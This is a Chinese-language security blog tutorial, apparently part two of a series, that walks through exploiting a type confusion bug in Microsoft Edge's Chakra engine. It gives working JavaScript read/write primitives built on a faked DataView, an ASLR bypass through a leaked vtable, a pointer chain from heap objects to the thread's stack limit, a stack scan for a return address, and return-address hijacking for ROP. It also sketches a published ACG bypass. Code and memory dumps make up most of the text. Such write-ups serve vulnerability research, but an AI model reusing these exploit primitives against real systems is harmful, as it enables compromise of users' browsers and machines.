Edge Type Confusion利用:从内存读写到控制流程

本篇原创文章参加双倍稿费活动,预估稿费为800元,活动链接请点此处

传送门:Edge Type Confusion利用:从type confused到内存读写

在上一部分中我们通过在NativeIntArray的Segment数据区中伪造DataView对象获得了内存读写的能力,在这部分目标是进一步由内存读写到控制程序执行流。

准备工作

在Edge中地址等数据都是64位的,但是在目前的Javascript中不支持Int64类型,这样就没有办法直接通过DataView读出64位或者对64位整数进行运算,这里需要我们自己做一些工作来方便数据操作

Because JavaScript doesn't currently include standard support for 64-bit integer values, js-ctypes offers the Int64 and UInt64 objects to let you work with C functions and data that need (or may need) values represented using a 64-bit data type.

You use the Int64 object to create and manipulate 64-bit signed integers.

通过自己定义一个Int64类型,使用low、high两部分int32储存int64

function Int64(low,high) 
{
    this.low = low;
    this.high = high;
}

为了方便读写,编写了r64、w64这些函数,可以直接拿来操作数据。


function r64(addr)
{
    fake_object[14]=addr.low; 
    fake_object[15]=addr.high;

    return new Int64(obj.getUint32.call(arr[0],0,true),
                     obj.getUint32.call(arr[0],4,true));
}

function r32(addr)
{
    fake_object[14]=addr.low; 
    fake_object[15]=addr.high;    
    return obj.getUint32.call(arr[0],0,true);
}


function w64(addr,value)
{
    fake_object[14]=addr.low; 
    fake_object[15]=addr.high;

    return new Int64(obj.setUint32.call(arr[0],0,value.low,true),
                     obj.setUint32.call(arr[0],4,value.high,true));
}

 

bypass ASLR

ASLR使得进程模块的地址不固定,但是由于这里我们已经具有了通过DataView读写内存的能力,所以可以直接选择泄漏对象虚表获取模块基址。

调试发现在fake DataView上方存在一个NativeIntArray对象(其实就是为了伪造DataView创建的那个),偏移是0x58

var vtable_addr=new Int64(DataView_basel-0x58,DataView_baseh);
var vtable_value=r64(vtable_addr);
print(vtable_value.low.toString(16));
print(vtable_value.high.toString(16));

捕获.PNG-5.6kB

通过DataView读出NativeIntArray vtable地址是0x7ff82a42c7d0,offset是0x18051C7D0,
得到Charka.dll的基址为0x7ff6a9f10000。

 

bypass DEP

因为存在DEP保护,内存不具有可执行权限。在老版本的浏览器中可以考虑通过劫持对象的虚表进行利用,但是在edge中存在cfg保护,cfg保护了程序中的间接调用,对于cfg来说似乎没有什么太好的公开可用的绕过方法。所以另一个比较简单的利用思路是通过栈,通过控制栈的返回地址来进行rop。

 

寻找栈地址

想通过栈进行利用,首先要找到栈的返回地址。目前的漏洞操作其实都是位于edge的custom heap上的,要想通过栈进行利用需要通过堆上的数据结构获取栈的地址。
由于已经具有任意地址读写的能力,我们需要找到一个恰当的数据结构来获取这个地址。

实际的获取过程可以说比较曲折,中心思想是在threadContext对象中保存着域stackLimitForCurrentThread,这个域保存着本线程线程栈的上界,可以利用这个值通过计算和搜索得出返回值的栈地址。

获取这个值的过程比较复杂,首先可以从任意Dynamic Object中获取Type Object的地址。这个Type Object的类型是无所谓的,因为目标是其中的JavascriptLibrary指针。
在Chakra中除了立即数等基本上所有的对象都是Dynamic对象,也继承自DynamicObject类,所有的Dynamic Object都有Type Object来表示类型和保存一些信息。
在这里上一篇文章中伪造DataView时用到的JavascriptNativeIntArray自然也属于DynamicObject,我们使用这个DynamicObject中的TypeObject来完成操作。

0x000001B1354C80A0  00007ff826c8c7d0  ???&?... <=nativeArray
0x000001B1354C80A8  000001b135484f80  €OH5?... <=type object
0x000001B1354C80B0  0000000000000000  ........
0x000001B1354C80B8  0000000000000005  ........
0x000001B1354C80C0  0000000000000010  ........
0x000001B1354C80C8  000001b1354c80e0  ?€L5?...
0x000001B1354C80D0  000001b1354c80e0  ?€L5?...
0x000001B1354C80D8  000001a9352189c0  ??!5?...
0x000001B1354C80E0  0000001000000000  ........
0x000001B1354C80E8  0000000000000012  ........
0x000001B1354C80F0  0000000000000000  ........
0x000001B1354C80F8  00000000000004d2  ?.......
0x000001B1354C8100  000001b1354c8108  .?L5?...
0x000001B1354C8108  0000000000000038  8.......
0x000001B1354C8110  000001b1354c7cc8  ?|L5?...
0x000001B1354C8118  0000000000000200  ........
0x000001B1354C8120  000001b1354c80b8  ?€L5?...
0x000001B1354C8128  0000000000000000  ........
0x000001B1354C8130  000001b1354c80a0  ?€L5?...
let type_addr=new Int64(DataView_basel-0x50,DataView_baseh);
let type_value=r64(type_addr);
print('TypeObject address');
print(type_value.high.toString(16));
print(type_value.low.toString(16));

这里成功获得了Type Object的地址0x233e89f4f80

捕获.PNG-8.6kB

接下来看Type Object的内存(不同次调试结果,地址不同),Type Object偏移0x8的地方是javascriptLibrary的指针

0x000001B135484F80  000000000000001d  ........ <= Type Object
0x000001B135484F88  000001b135498000  .€I5?... <= javascriptLibrary
0x000001B135484F90  000001b1354b0000  ..K5?...

我们需要获取javascriptLibrary对象的地址

let jslib_addr=new Int64(type_value.low+0x8,type_value.high);
let jslib_value=r64(jslib_addr);
print('javascriptLibrary address');
print(jslib_value.high.toString(16));
print(jslib_value.low.toString(16));

捕获.PNG-8.6kB
得到javascriptLibrary对象的地址是0x21f5bd08000(不同次调试结果,地址不同)

然而事情还没完,获得JavascriptLibrary的地址是为了得到其中的scriptcontext指针。JavascriptLibrary这个结构比较大,scriptcontext位于偏移0x430的位置

javascriptLibrary
0x000001B135498000  00007ff826cc3768  h7?&?...
0x000001B135498008  000001b135490000  ..I5?...
0x000001B135498010  000001b1354c0c00  ..L5?...
0x000001B135498018  000001b1354c0c80  €.L5?...
0x000001B135498020  000001b1354c0d00  ..L5?...
0x000001B135498028  000001b1354c0d80  €.L5?...
0x000001B135498030  000001b135487fc0  ?.H5?...
0x000001B135498038  000001b1354c0600  ..L5?...
0x000001B135498040  000001b1354c0680  €.L5?...
0x000001B135498048  000001b1354c0700  ..L5?...
0x000001B135498050  000001b1354c0780  €.L5?...
0x000001B135498058  000001b1354c0800  ..L5?...
0x000001B135498060  000001b1354c0880  €.L5?...
0x000001B135498068  000001b1354c0900  ..L5?...
0x000001B135498070  000001b1354c0980  €.L5?...
0x000001B135498078  000001b1354c0a00  ..L5?...
0x000001B135498080  000001b1354c0a80  €.L5?...
0x000001B135498088  000001b1354c0500  ..L5?...
0x000001B135498090  000001b1354c0580  €.L5?...
0x000001B135498098  000001b1354c0040  @.L5?...
0x000001B1354980A0  000001b1354c0280  €.L5?...
0x000001B1354980A8  000001b1354c0300  ..L5?...
0x000001B1354980B0  000001b1354c03c0  ?.L5?...
0x000001B1354980B8  000001b135487f40  @.H5?...
0x000001B1354980C0  000001b1354c00c0  ?.L5?...
0x000001B1354980C8  000001b1354b00d0  ?.K5?...
0x000001B1354980D0  000001b1354c0440  @.L5?...
0x000001B1354980D8  0000000000000000  ........
0x000001B1354980E0  000001b1354c0e80  €.L5?...
0x000001B1354980E8  000001b1354c0f00  ..L5?...
0x000001B1354980F0  000001b1354c0f80  €.L5?...
0x000001B1354980F8  000001b1354c1000  ..L5?...
0x000001B135498100  000001b1354c1080  €.L5?...
0x000001B135498108  000001b1354c1100  ..L5?...
0x000001B135498110  000001b1354c1180  €.L5?...
0x000001B135498118  000001b1354c0140  @.L5?...
0x000001B135498120  000001b1354c0200  ..L5?...
0x000001B135498128  000001b1354c0e00  ..L5?...
0x000001B135498130  0000000000000000  ........
0x000001B135498138  000001b135486f40  @oH5?...
0x000001B135498140  000001b135486fc0  ?oH5?...
0x000001B135498148  000001b1354870c0  ?pH5?...
0x000001B135498150  000001b1354871c0  ?qH5?...
0x000001B135498158  000001b1354872c0  ?rH5?...
0x000001B135498160  000001b1354873c0  ?sH5?...
0x000001B135498168  0000000000000000  ........
0x000001B135498170  0000000000000000  ........
0x000001B135498178  0000000000000000  ........
0x000001B135498180  000001b1354874c0  ?tH5?...
0x000001B135498188  000001b1354875c0  ?uH5?...
0x000001B135498190  0000000000000000  ........
0x000001B135498198  000001b1354acae0  ??J5?...
0x000001B1354981A0  0000000000000000  ........
0x000001B1354981A8  0000000000000000  ........
0x000001B1354981B0  000001b1354acb00  .?J5?...
0x000001B1354981B8  000001b1354acb20   ?J5?...
0x000001B1354981C0  000001b1354c0b80  €.L5?...
0x000001B1354981C8  000001b1354acac0  ??J5?...
0x000001B1354981D0  000001b1354b0000  ..K5?...
0x000001B1354981D8  000001b1354ac040  @?J5?...
0x000001B1354981E0  000001b1354ac060  `?J5?...
0x000001B1354981E8  000001b1354ac080  €?J5?...
0x000001B1354981F0  000001b1354ac0a0  ??J5?...
0x000001B1354981F8  000001b1354ac0c0  ??J5?...
0x000001B135498200  000001b1354ac0e0  ??J5?...
0x000001B135498208  000001b1354ac100  .?J5?...
0x000001B135498210  000001b1354ac120   ?J5?...
0x000001B135498218  000001b1354ac140  @?J5?...
0x000001B135498220  000001b1354ac160  `?J5?...
0x000001B135498228  000001b1354ac180  €?J5?...
0x000001B135498230  000001b1354ac1a0  ??J5?...
0x000001B135498238  000001b1354ac1c0  ??J5?...
0x000001B135498240  000001b1354ac1e0  ??J5?...
0x000001B135498248  000001b1354ac000  .?J5?...
0x000001B135498250  000001b1354ac020   ?J5?...
0x000001B135498258  0000000000000000  ........
0x000001B135498260  000001b1354741b0  ?AG5?...
0x000001B135498268  000001b1354a8090  ?€J5?...
0x000001B135498270  000001b135474240  @BG5?...
0x000001B135498278  000001b1354741e0  ?AG5?...
0x000001B135498280  000001b135474180  €AG5?...
0x000001B135498288  000001b1354c1200  ..L5?...
0x000001B135498290  000001b135474210  .BG5?...
0x000001B135498298  000001b1354ac220   ?J5?...
0x000001B1354982A0  000001b1354ac240  @?J5?...
0x000001B1354982A8  000001b1354ac260  `?J5?...
0x000001B1354982B0  000001b1354ac280  €?J5?...
0x000001B1354982B8  000001b1354ac200  .?J5?...
0x000001B1354982C0  000001b1354ac2a0  ??J5?...
0x000001B1354982C8  000001b1354ac2c0  ??J5?...
0x000001B1354982D0  000001b1354ac2e0  ??J5?...
0x000001B1354982D8  000001b1354ac300  .?J5?...
0x000001B1354982E0  000001b1354ac320   ?J5?...
0x000001B1354982E8  000001b1354ac340  @?J5?...
0x000001B1354982F0  000001b1354ac360  `?J5?...
0x000001B1354982F8  000001b1354ac380  €?J5?...
0x000001B135498300  000001b1354ac3a0  ??J5?...
0x000001B135498308  0000000000000000  ........
0x000001B135498310  000001b1354846c0  ?FH5?...
0x000001B135498318  000001b135484740  @GH5?...
0x000001B135498320  000001b1354847c0  ?GH5?...
0x000001B135498328  000001b135484840  @HH5?...
0x000001B135498330  000001b1354848c0  ?HH5?...
0x000001B135498338  000001b135484940  @IH5?...
0x000001B135498340  000001b1354849c0  ?IH5?...
0x000001B135498348  0000000000000000  ........
0x000001B135498350  0000000000000000  ........
0x000001B135498358  0000000000000000  ........
0x000001B135498360  0000000000000000  ........
0x000001B135498368  0000000000000000  ........
0x000001B135498370  0000000000000000  ........
0x000001B135498378  0000000000000000  ........
0x000001B135498380  0000000000000000  ........
0x000001B135498388  0000000000000000  ........
0x000001B135498390  0000000000000000  ........
0x000001B135498398  0000000000000000  ........
0x000001B1354983A0  000001b1354ac900  .?J5?...
0x000001B1354983A8  000001b1354ac920   ?J5?...
0x000001B1354983B0  0004000000000000  ........
0x000001B1354983B8  000c000000000000  ........
0x000001B1354983C0  800c000000000000  .......€
0x000001B1354983C8  bff521fb54442d18  .-DT?!??
0x000001B1354983D0  fffc000000000001  ......?.
0x000001B1354983D8  8013ffffffffffff  .......€
0x000001B1354983E0  7ffc000000000000  ......?.
0x000001B1354983E8  000001b1354a4020   @J5?...
0x000001B1354983F0  000001b1354a4010  .@J5?...
0x000001B1354983F8  000001b1354ac6e0  ??J5?...
0x000001B135498400  000001b1354ac700  .?J5?...
0x000001B135498408  000001b1354ac720   ?J5?...
0x000001B135498410  000001b1354ac740  @?J5?...
0x000001B135498418  000001b1354ac760  `?J5?...
0x000001B135498420  000001b1354ac780  €?J5?...
0x000001B135498428  000001b1354ac7a0  ??J5?...
0x000001B135498430  000001a93529b6e0  ??)5?... <=scriptcontext  +0x430

捕获.PNG-13kB
获得了scriptcontext的地址是0x264e2fb6e0,scriptcontent中保存的threadContent指针是我们最终的目标。scriptcontent这个结构同样比较大,threadContent指针位于0x4f0偏移的位置。

scriptontent
0x000001A93529B6E0  000001b135498000  .€I5?...
0x000001A93529B6E8  000001b135490000  ..I5?...
0x000001A93529B6F0  0000000000000000  ........
0x000001A93529B6F8  0000000000000000  ........
0x000001A93529B700  0000000000000000  ........
0x000001A93529B708  0000000000000000  ........
0x000001A93529B710  0000000000000000  ........
0x000001A93529B718  0000000000000000  ........
0x000001A93529B720  0000000000000000  ........
0x000001A93529B728  0000000000000002  ........
0x000001A93529B730  00007ff826c8c130  0??&?...
0x000001A93529B738  00007ff826c8c7d0  ???&?...
0x000001A93529B740  00007ff826c8ba90  ???&?...
0x000001A93529B748  0000000000000000  ........
0x000001A93529B750  0000000000000000  ........
0x000001A93529B758  0000000000000000  ........
0x000001A93529B760  00007ff826bea020   ??&?...
0x000001A93529B768  00007ff82679a980  €?y&?...
0x000001A93529B770  00007ff826bea5b0  ???&?...
0x000001A93529B778  00007ff826bea600  .??&?...
0x000001A93529B780  0000000000000000  ........
0x000001A93529B788  0000000000000000  ........
0x000001A93529B790  0000000000000000  ........
0x000001A93529B798  0000000000000000  ........
0x000001A93529B7A0  0000000000000000  ........
0x000001A93529B7A8  0000000000000000  ........
0x000001A93529B7B0  0000000000000000  ........
0x000001A93529B7B8  0000000000000000  ........
0x000001A93529B7C0  0000000000000000  ........
0x000001A93529B7C8  0000000000000000  ........
0x000001A93529B7D0  0000000000000000  ........
0x000001A93529B7D8  0000000000000000  ........
0x000001A93529B7E0  0000000000000000  ........
0x000001A93529B7E8  0000000000000000  ........
0x000001A93529B7F0  0000000000000000  ........
0x000001A93529B7F8  0000000000000000  ........
0x000001A93529B800  0000000000000000  ........
0x000001A93529B808  0000000000000000  ........
0x000001A93529B810  0000000000000000  ........
0x000001A93529B818  0000000000000000  ........
0x000001A93529B820  0000000000000000  ........
0x000001A93529B828  0000000000000000  ........
0x000001A93529B830  0000000000000000  ........
0x000001A93529B838  0000000000000000  ........
0x000001A93529B840  0000000000000000  ........
0x000001A93529B848  0000000000000000  ........
0x000001A93529B850  0000000000000000  ........
0x000001A93529B858  0000000000000000  ........
0x000001A93529B860  0000000000000000  ........
0x000001A93529B868  0000000000000000  ........
0x000001A93529B870  0000000000000000  ........
0x000001A93529B878  0000000000000000  ........
0x000001A93529B880  0000000000000000  ........
0x000001A93529B888  0000000000000000  ........
0x000001A93529B890  0000000000000000  ........
0x000001A93529B898  0000000000000000  ........
0x000001A93529B8A0  0000000000000000  ........
0x000001A93529B8A8  0000000000000000  ........
0x000001A93529B8B0  0000000000000000  ........
0x000001A93529B8B8  0000000000000000  ........
0x000001A93529B8C0  0000000000000000  ........
0x000001A93529B8C8  0000000000000000  ........
0x000001A93529B8D0  0000000000000000  ........
0x000001A93529B8D8  0000000000000000  ........
0x000001A93529B8E0  0000000000000000  ........
0x000001A93529B8E8  0000000000000000  ........
0x000001A93529B8F0  0000000000000000  ........
0x000001A93529B8F8  0000000000000000  ........
0x000001A93529B900  0000000000000000  ........
0x000001A93529B908  0000000000000000  ........
0x000001A93529B910  0000000000000000  ........
0x000001A93529B918  0000000000000000  ........
0x000001A93529B920  0000000000000000  ........
0x000001A93529B928  0000000000000000  ........
0x000001A93529B930  0000000000000000  ........
0x000001A93529B938  0000000000000000  ........
0x000001A93529B940  0000000000000000  ........
0x000001A93529B948  0000000000000000  ........
0x000001A93529B950  0000000000000000  ........
0x000001A93529B958  0000000000000000  ........
0x000001A93529B960  0000000000000000  ........
0x000001A93529B968  0000000000000000  ........
0x000001A93529B970  0000000000000000  ........
0x000001A93529B978  0000000000000000  ........
0x000001A93529B980  0000000000000000  ........
0x000001A93529B988  0000000000000000  ........
0x000001A93529B990  0000000000000000  ........
0x000001A93529B998  0000000000000000  ........
0x000001A93529B9A0  0000000000000000  ........
0x000001A93529B9A8  0000000000000000  ........
0x000001A93529B9B0  0000000000000000  ........
0x000001A93529B9B8  0000000000000000  ........
0x000001A93529B9C0  0000000000000000  ........
0x000001A93529B9C8  0000000000000000  ........
0x000001A93529B9D0  0000000000000000  ........
0x000001A93529B9D8  0000000000000000  ........
0x000001A93529B9E0  0000000000000000  ........
0x000001A93529B9E8  0000000000000000  ........
0x000001A93529B9F0  0000000000000000  ........
0x000001A93529B9F8  0000000000000000  ........
0x000001A93529BA00  0000000000000000  ........
0x000001A93529BA08  0000000000000000  ........
0x000001A93529BA10  0000000000000000  ........
0x000001A93529BA18  0000000000000000  ........
0x000001A93529BA20  0000000000000000  ........
0x000001A93529BA28  000001a93524c040  @?$5?...
0x000001A93529BA30  00007ff8267771b0  ?qw&?...
0x000001A93529BA38  00007ff82693a5a0  ???&?...
0x000001A93529BA40  000001a93521c010  .?!5?...
0x000001A93529BA48  0000000000000000  ........
0x000001A93529BA50  0000000000000000  ........
0x000001A93529BA58  000001a9352909a0  ?.)5?...
0x000001A93529BA60  000001a93521d120   ?!5?...
0x000001A93529BA68  0000000000000000  ........
0x000001A93529BA70  000001a93521e000  .?!5?...
0x000001A93529BA78  00000000000007d0  ?.......
0x000001A93529BA80  0000000000000003  ........
0x000001A93529BA88  000001a935210210  ..!5?...
0x000001A93529BA90  00007ff8267771b0  ?qw&?...
0x000001A93529BA98  00007ff82693a5a0  ???&?...
0x000001A93529BAA0  0000000000000000  ........
0x000001A93529BAA8  0000000000000000  ........
0x000001A93529BAB0  0000000000000000  ........
0x000001A93529BAB8  000001a9352909a0  ?.)5?...
0x000001A93529BAC0  0000000000000000  ........
0x000001A93529BAC8  0000000000000000  ........
0x000001A93529BAD0  0000000000000000  ........
0x000001A93529BAD8  0000000000000000  ........
0x000001A93529BAE0  0000000000000000  ........
0x000001A93529BAE8  0000000000000000  ........
0x000001A93529BAF0  00007ff8267771b0  ?qw&?...
0x000001A93529BAF8  00007ff82693a5a0  ???&?...
0x000001A93529BB00  000001a935211010  ..!5?...
0x000001A93529BB08  0000000000000000  ........
0x000001A93529BB10  0000000000000000  ........
0x000001A93529BB18  000001a9352909a0  ?.)5?...
0x000001A93529BB20  000001a935211890  ?.!5?...
0x000001A93529BB28  0000000000000000  ........
0x000001A93529BB30  000001a935212000  . !5?...
0x000001A93529BB38  0000000000000000  ........
0x000001A93529BB40  0000000000000001  ........
0x000001A93529BB48  0000000000000000  ........
0x000001A93529BB50  00007ff8267771b0  ?qw&?...
0x000001A93529BB58  00007ff82693a5a0  ???&?...
0x000001A93529BB60  0000000000000000  ........
0x000001A93529BB68  0000000000000000  ........
0x000001A93529BB70  0000000000000000  ........
0x000001A93529BB78  000001a9352909a0  ?.)5?...
0x000001A93529BB80  0000000000000000  ........
0x000001A93529BB88  0000000000000000  ........
0x000001A93529BB90  0000000000000000  ........
0x000001A93529BB98  0000000000000000  ........
0x000001A93529BBA0  0000000000000000  ........
0x000001A93529BBA8  0000000000000000  ........
0x000001A93529BBB0  0000000000000000  ........
0x000001A93529BBB8  000001b135398320   ?95?...
0x000001A93529BBC0  000001a93529e550  P?)5?...
0x000001A93529BBC8  0000000000000000  ........
0x000001A93529BBD0  000001a9352908a0  ?.)5?... <=threadContext +0x4f0

捕获.PNG-14.7kB

threadContext的地址是0x264e2f08a0
得到threadContext的地址之后就可以读出stackLimitForCurrentThread的值

0x000001A9352908A0  00007ff826c8b6e0  ???&?... <=threadContext
0x000001A9352908A8  0000000000000000  ........
0x000001A9352908B0  0000000000000000  ........
0x000001A9352908B8  000001a935208220   ? 5?...
0x000001A9352908C0  000001a935209030  0? 5?...
0x000001A9352908C8  0000000000000000  ........
0x000001A9352908D0  0000000000000000  ........
0x000001A9352908D8  0000000000000000  ........
0x000001A9352908E0  0000000000000000  ........
0x000001A9352908E8  0000000000000000  ........
0x000001A9352908F0  0000000000000000  ........
0x000001A9352908F8  0000000000000000  ........
0x000001A935290900  0000000000000000  ........
0x000001A935290908  000001b135398180  €?95?...
0x000001A935290910  0000000000000000  ........
0x000001A935290918  00007df400000001  ....?}..
0x000001A935290920  0000001024f0c000  .??$.... <=stackLimitForCurrentThread +0x80
let stack_addr=new Int64(tdctx_value.low+0x80,tdctx_value.high);
let stack_value=r64(stack_addr);
print('threadContext address');
print(stack_value.high.toString(16));
print(stack_value.low.toString(16));

捕获.PNG-20.9kB
stackLimitForCurrentThread的值是0x2ecdc0c000表示栈的上界,通过上界可以确定栈的大致范围之后根据返回地址进行搜索。

简单的回顾一下获取栈地址的过程:JavascriptNativeIntArray->Type Object->JavascriptLibrary->ScriptContent->threadContent->stackLimitForCurrentThread

 

劫持返回地址

前面我们获得了栈的大概地址,为了获得栈中确切的返回地址需要进行搜索。
首先确定栈的大致搜索范围,因为栈是从高地址向低地址扩展的,用stackLimitForCurrentThread加上0xf0000获得一个大概的搜索起点。
返回地址通过前面泄漏Chakra.dll模块基址已经得知,只要搜索匹配返回地址就可以得到JavascriptString::EntrySlice函数返回时程序的rsp的地址。

    let search_start=new Int64(stack_value.low+0xf0000,stack_value.high);

    var addr=new Int64(search_start.low,search_start.high);
    var ret_value_offset=0x47a472;
    var ret_value=new Int64(dll_base.low+ret_value_offset,dll_base.high);
    for (var i = 8; i < 0x10000; i += 8)
    {

        addr=new Int64(search_start.low+i,search_start.high);
        let val = r64(addr);
        print('==========');
        print('read address');
        print(addr.high.toString(16));
        print(addr.low.toString(16));

        print('read value');
        print(val.high.toString(16));
        print(val.low.toString(16));

        print('ret value');
        print(ret_value.high.toString(16));
        print(ret_value.low.toString(16));
        if (equals(ret_value,val))
        {
            print('find!!!!!!!!!!!!!!!!!');
            break;
        }        
    }

捕获.PNG-19.2kB

获取到rsp的位置之后再进行一些准备工作就可以进行rop了,首先把这段寻找和修改rsp的代码放入String.prototype.slice中,这种做法我认为只是为了调试方便,因为String.prototype.slice的对应函数JavascriptString::EntrySlice是已知的并且只调用一次,amd64_CallFunction()是每个函数都会进行调用。在构造rop时可以比较方便的对rop chain进行定位,当然不用也是没有任何问题的。

''.slice({valueOf:function(){
    //代码
}}
DataView::EntryGetUint32(Js::RecyclableObject * function, Js::CallInfo callInfo, ...) 
JavascriptString::EntrySlice(Js::RecyclableObject * function, Js::CallInfo callInfo, ...) 
amd64_CallFunction()

 

进行Rop

传参顺序是rcx、rdx、r8、r9。因为chakra模块代码量比较大,这些gadgets都可以比较容易找到(很多gadgets是指令错位出来的)。

捕获.PNG-72.9kB

现在我们通过rop来调用目标的函数

w64(addr1,gadgets1);
w64(addr2,gadgets2);
w64(addr3,gadgets3);

按照正常的思路可以通过rop调用VirtualProtectEx获得可写可执行的内存来执行shellcode。但是对于当前版本的edge来说这种方法不再可行,在17年4月的创意者更新里新添加了Arbitrary Code Guard和Code Integrity Guard缓解措施。它会阻止映射可执行内存,因此也就不能通过VirtualProtectEx来执行shellcode。
对于ACG来说,似乎也没有可以公开的比较好的解决办法,比较巧的是几天前project zero刚刚披露了一种bypass方法,这里简单介绍一下。
edge为了实现ACG使用一个独立的进程来处理JIT,这个JIT进程与页面进程是通过文件映射(section object)进行交互的。因为JIT是需要执行的,所以共享section映射出来的内存是具有执行权限的。如果在页面进程映射section之前提前占位这块内存(需要预测这个地址),并在里面写入我们的内容。在section进行映射之后,这块内存就具有了可执行权限,重要的是我们之前写入的内容不会被覆盖。
Ivan Fratric给出了蛮详细的调试过程,感兴趣的同学可以尝试一下
https://bugs.chromium.org/p/project-zero/issues/detail?id=1435

(完)